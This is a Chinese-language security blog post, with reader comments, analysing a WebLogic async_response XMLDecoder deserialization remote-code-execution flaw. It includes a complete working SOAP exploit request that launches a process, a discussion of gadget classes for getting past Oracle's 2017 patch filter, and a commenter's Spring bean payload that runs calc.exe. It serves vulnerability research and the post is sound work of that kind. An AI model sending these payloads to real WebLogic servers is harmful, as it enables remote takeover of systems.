前言
在4月17,cnvd通报了一个weblogic的rce漏洞,链接在此
发现是由于async_response这个war包导致的,乍一看这个洞就跟2017的wsat组件很相似。都是因为xmldecoder反序列化导致的rce。
分析
首先给出调用栈:
BaseWSServlet (service)->BaseWSServlet (run)
->SoapProcessor (process)->WsSkel (invoke)
->ServerDispatcher (dispatch)->HandlerIterator (handleRequest)
->WorkAreaServerHandler (handleRequest)
->WorkContextLocalMap (receiveRequest)
->WorkContextEntryImpl (readEntry)->readUTF->readObject
然后就是动态调试过程了。
首先将weblogic以debug模式启动,然后idea导入jar包并attach上就可以动态调试了。
调用栈给出来了,其实流程就不需要怎么细说了。主要说一下poc构造中的几个注意的点。
在HandlerIterator中调用handleRequest函数时,有一个for循环来遍历hanlders,如图所示:
首先看一下这个this.handlers的值:
有三个handler是我们需要注意的,第一个是ServerAddressingHandler。这个Hanlder组装我们soap中的各种元素并设置,比如Action和RelatesTo。
第二个就是AsyncResponseHandler。这个中会判断是否存在RelatesTo。如果没有就直接return false了。
所以我们在poc中要设置addressing.RelatesTo和addressing.Action。
第三个就是在WorkAreaServerHanlder中进行xmldecoder的反序列化。也就是真正的rce触发点了。关于WorkAreaServerHanlder如何触发xmldecoder的反序列化,这里我就不赘述,大家可以去看CVE-2017-10271的分析,链接在此
几个注意事项都说了,然后就是根据wsdl文件来组建soap消息了。wsdl文件内容如下:
所以最后得出来的最基础的poc如下
POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 820
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
</soapenv:Body>
</soapenv:Envelope>
绕过
上述poc的局限性非常大,如果打了2017年十月份补丁的,这个poc是打不了的,由于手上并没有具体的补丁,所以只能靠网上给出的核心补丁代码进行分析:
public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase(“object”)){
throw newIllegalStateException(“Invalid element qName:object”);
} else if(qName.equalsIgnoreCase(“new”)){
throw newIllegalStateException(“Invalid element qName:new”);
} else if(qName.equalsIgnoreCase(“method”)){
throw newIllegalStateException(“Invalid element qName:method”);
} else {
if(qName.equalsIgnoreCase(“void”)) {
for(int attClass = 0; attClass< attributes.getLength(); ++attClass) {
if(!”index”.equalsIgnoreCase(attributes.getQName(attClass))) {
throw newIllegalStateException(“Invalid attribute for element void:” +attributes.getQName(attClass));
}
}
}
这里最尴尬的其实就是对于void标签的过滤,导致void标签里除了index外不能有其他属性值,所以上述的poc就不能用了,也不能自由调类的静态函数啥的了,但是我们仍然可以调用类的构造函数来实现绕过。类的构造函数有这么几种情况是可以利用的:
- 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
- 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
- 构造函数直接有执行命令的操作,执行命令可控。
- 有其它的可能导致rce的操作,比如表达式注入之类的。
其实找利用是一个很费劲的活儿。跟小组小伙伴一起寻找了一番。其实第三种我觉得是基本不可能的,曾经对第一种希望很大,但是也并没有找到,最终找到的可能利用的类如下:
- oracle.toplink.internal.sessions.UnitOfWorkChangeSet (只存在于10.3.6)
- oracle.jms.plsql.MapMsgEntity (存在于10.3.6和12.1.3)
- org.slf4j.ext.EventData (存在于12.1.3)
- com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext (存在于10.3.6和12.1.3)
然后分别来看一下这四个类的构造函数到底是怎样的。
UnitOfWorkChangeSet:
构造函数传入byte,然后进行二次反序列化,可以绕过。但是进一步利用仍然需要找一个pop链才行,以为yso里会有可用的,比较了一番.除了一个jdk7u21的..发现好像并没有,但jdk7u21限制太大了,需要再找找更好用的。
最终盯上了
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类的readObject方法,看一下具体内容:
readObject中调用了一个initUserTransactionAndTransactionManager方法,跟进去看看:
这里将this.userTransactionName传递到了lookupUserTransaction函数中,继续跟进查看:
调用lookup,可以造成jndi注入。因此该pop链可用,虽然也会受到jdk版本的限制,但是比那个jdk7u21好得多了。
这个类的构造函数如下:
这个类乍一眼看跟上个类差不多,也是传递进来一个byte数组然后二次反序列化。
但是在实际测试测时候发现了有问题,会报这个错误:
经过排查,是因为xmldecoder用的 getConstructors,只能返回public构造函数。而该类的构造函数未被public声明,所以会找不到,因此该类无法利用。
EventData
这个类的利用可谓是简单粗暴,构造函数如下:
是不是很眼熟?对,就是类似一个"二次漏洞触发点"这种操作。所以这个是最好用的,不用受到jdk版本限制,但是比较可惜的是,这个类只在12.1.3版本中存在,在10.3.6中并没有。
其实当时以为可以直接用FileSystemXmlApplicationContext的gadget来打。但是实践后发现并不行, 发现好像跟jackson的那个利用还是有区别,就是少了分析表达式的那一步。导致并不能利用,看一下这两者代码的区别:
有点迷醉….唯独少了这一行代码…感觉是不行的。(经过评论区大哥的指导,是可以的。非常感谢!学习了!)
补丁
weblogic针对绕过发布了新的补丁,补丁让人比较难受的一点,就是把class标签给过滤掉了:
所以后续看看还能不能绕吧….
总结
虽然可以绕过,但是几种方法,要么受weblogic版本限制,要么受jdk版本限制。并没有找到一个通用的Poc。比较遗憾。
感谢D0g3-Team的小伙伴(Lucifaer,orich1)的帮助。
鸭巴牛逼!!!
1、weblogic12 也有:
oracle_common/modules/oracle.toplink_12.1.3/eclipselink.jar
2、xml稍改下就可以
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc.exe" />
</bean>
@Xxxx 感谢大哥指点!!学到了。
@Xxxx 看错了,12没有UnitOfWorkChangeSet
@Xxxx 噢噢,不过那个bean真的是学到了,我对那个类的利用太生疏了..再次感谢。
你好请问使用bean标签报Unsupported element: bean怎么解决呢?
@why twitter私聊我吧。
求twitter账号请教一下bean标签咋用的
@18726866213 大哥,我twitter帐号博客首页就有啊
已经关注了
你写得非常清晰明了,让我很容易理解你的观点。
这篇文章写得深入浅出,让我这个小白也看懂了!